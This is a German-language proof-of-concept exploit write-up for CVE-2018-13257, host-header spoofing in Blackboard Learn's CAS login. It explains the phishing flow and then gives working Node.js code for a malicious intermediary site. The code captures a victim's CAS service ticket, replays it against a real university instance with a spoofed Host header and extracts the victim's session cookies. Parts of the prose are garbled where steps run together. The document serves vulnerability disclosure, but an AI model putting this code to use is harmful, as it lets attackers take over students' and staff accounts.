
Proof-of-Concept-Exploit für CVE-2018-13257, der Host-Header-Spoofing in Blackboard Learn demonstriert, um Benutzersitzungen über eine bösartige Vermittler-Website zu kapern.
Ein Authentifizierungsmodul in Blackboard Learn ist anfällig für HTTP-Host-Header-Spoofing während der Validierung von Service-Tickets des Central Authentication Service (CAS). Ein CAS-Service-Ticket ist nur für einen bestimmten Service vorgesehen, aber Blackboard Learn überprüft nicht ordnungsgemäß, dass dieser Service die aktuelle Instanz ist. Dies ermöglicht einen Phishing-Angriff, bei dem Benutzer glauben, ihre Single-Sign-On-Daten für eine bestimmte Website einzugeben, während diese bösartige Website stattdessen das Service-Ticket verwendet, um sich als dieser Benutzer bei einer Blackboard-Learn-Instanz zu authentifizieren.
Ein Angreifer würde attacker.example einrichten, um sich als ein anderer Benutzer bei einer Blackboard-Learn-Instanz unter blackboard.example zu authentifizieren, die Service-Tickets über cas.example validiert.
Die folgenden Ereignisse treten ein, wenn ein Benutzer attacker.example besucht.
https://cas.example/cas/login?service=https%3A%2F%2Fattacker.example%2Fwebapps%2Fbb-auth-provider-cas-BB5849b9bae4172%2Fexecute%2FcasLogin%3Fcmd%3Dlogin%26authProviderId%3D_102_1%26redirectUrl%3Dhttps%253A%252F%252Fblackboard.example%252Fwebapps%252Fportal%252Fexecute%252FdefaultTab%26globalLogoutEnabled%3Dtrue&renew=truecas.example. Sie werden ihr höchstwahrscheinlich vertrauen, da dies der standardmäßige Anmeldebildschirm ihrer Einrichtung auf einer vertrauenswürdigen Domain ist. Die Anmeldeseite wird anzeigen, dass sie sich bei attacker.example authentifizieren.attacker.example weitergeleitet: https://attacker.example/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleattacker.example wird nun eine HTTP-GET-Anfrage an blackboard.example gestellt, unter Verwendung des im letzten Schritt abgerufenen Service-Tickets . Die GET-Anfrage greift auf mit einem Host-Header von zu: Wenn attacker.example eine Website ist, der Personen in einer Einrichtung regelmäßig vertrauen (z. B. die Homepage der Einrichtung), würde die Kompromittierung dieser Website bedeuten, dass die Blackboard-Learn-Instanz der Einrichtung durch diese Sicherheitslücke ebenfalls vernünftigerweise kompromittiert ist.
Um keinen Verdacht zu erregen, könnte attacker.example den Benutzer nach Schritt 5 zurück zur sso.example-Anmeldeseite umleiten und von dort aus die erwarteten Aufgaben von attacker.example ausführen. Der Benutzer würde sehen, dass er zweimal auf „Anmelden“ klicken muss, aber die Weiterleitung erfolgt schnell genug, sodass der Benutzer nicht sicher sein könnte, dass er die Anmeldeseite verlassen und zurückgekehrt ist.
Es ist zu beachten, dass CVE-2017-18262 sich von dieser Sicherheitslücke unterscheidet. CVE-2017-18262 ist eine Sicherheitslücke in der redirectTo-Validierung. Diese Sicherheitslücke betrifft einen Fehler im service-URL-Parameter, der an den validierenden Anmeldeendpunkt gesendet wird.
Die Verwendung von CVE-2017-18262 zum Phishing von Anmeldedaten erfordert die Einrichtung einer Phishing-Anmeldeseite, die das Erscheinungsbild von cas.example nachahmt. Diese Sicherheitslücke tritt direkt auf cas.example auf, erfordert jedoch, dass der Benutzer zunächst attacker.example besucht.
Dies wurde gegen lms.uconn.edu mit brc15007 als gefälschtem Benutzer getestet. lms.uconn.edu ist eine von Blackboard Inc. verwaltete Blackboard-Learn-Instanz, die auf Amazon Web Services gehostet wird.
index.js
const crypto = require('crypto')
const Koa = require('koa')
const session = require('koa-session')
const FakeCas = require('./lib/fake-cas')
// The koa-basic-auth module is used purely to protect this POC from being used
// by unauthorized test users.
const auth = require('koa-basic-auth')
const CAS_SERVER = 'https://login.uconn.edu'
const BLACKBOARD_INSTANCE = 'https://lms.uconn.edu'
const VULNERABLE_ENDPOINT = `/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=${encodeURIComponent(BLACKBOARD_INSTANCE)}%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true`
const POC_APP_USERNAME = 'i-accept-that-my-login-will-be-spoofed-for-testing'
const POC_APP_PASSWORD = 'fH71FnffjycEtMLdqd2zCAwavDzW8HdCaayHrQ4E'
const app = new Koa()
app.keys = [crypto.randomBytes(256)]
app.use(session(app))
app.use(auth({ name: POC_APP_USERNAME, pass: POC_APP_PASSWORD }))
const cas = FakeCas({
service: ctx => `https://${ctx.host}${VULNERABLE_ENDPOINT}`,
server: CAS_SERVER
})
app.use(cas.fakeCredentialRequestor({
attackUrl: ticket =>
BLACKBOARD_INSTANCE +
VULNERABLE_ENDPOINT +
'&ticket=' + ticket
}))
app.use(async ctx => {
ctx.body = `If I was a bad person, I would use the following cookies to login as you into ${BLACKBOARD_INSTANCE}.\n\n` +
ctx.session.cookieString
ctx.session = null
})
app.listen(3000)
lib/fake-cas.js
const https = require('https')
const fetch = require('isomorphic-fetch')
function createCASMiddleware (options = {}) {
const server = options.server
const service = options.service
const loginUrl = options.login || '/cas/login'
function fakeCredentialRequestor ({ attackUrl }) {
return async (ctx, next) => {
if (!ctx.session.cookieString && !ctx.request.query.ticket) {
const returnUrl = encodeURIComponent(service(ctx))
ctx.redirect(
server + loginUrl +
'?service=' + returnUrl +
'&renew=true')
return
}
if (ctx.request.query.ticket) {
const attack = attackUrl(ctx.request.query.ticket)
const res = await fetch(attack, {
headers: { 'host': ctx.request.host },
// rejectUnauthorized is required since we're spoofing the host
// header and ctx.request.host liekly won't be in the endpoint's HTTPS
// certificate.
agent: new https.Agent({ rejectUnauthorized: false })
})
const cookieString = res.headers._headers['set-cookie']
.map(cookie => cookie.match(/^(.*?);/)[1])
.map(cookie => `document.cookie = '${cookie}'`)
.join('\n')
ctx.session.cookieString = cookieString
console.log(cookieString)
ctx.status = 308
ctx.redirect('/')
return
}
await next()
}
}
return { fakeCredentialRequestor }
}
module.exports = createCASMiddleware
package.json
{
"private": true,
"main": "index.js",
"scripts": {
"dev": "nodemon index"
},
"devDependencies": {
"nodemon": "^1.17.5",
"standard": "^11.0.1"
},
"dependencies": {
"isomorphic-fetch": "^2.2.1",
"koa": "^2.5.1",
"koa-basic-auth": "^3.0.0",
"koa-session": "^5.8.1",
"query-string": "^5.0.1",
"xml2js": "^0.4.19"
}
}
ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.exampleattacker.examplehttps://attacker.example//webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.example wird dem Backend von attacker.example mit Cookies antworten, die den Zielbenutzer bei der Blackboard-Learn-Instanz authentifizieren.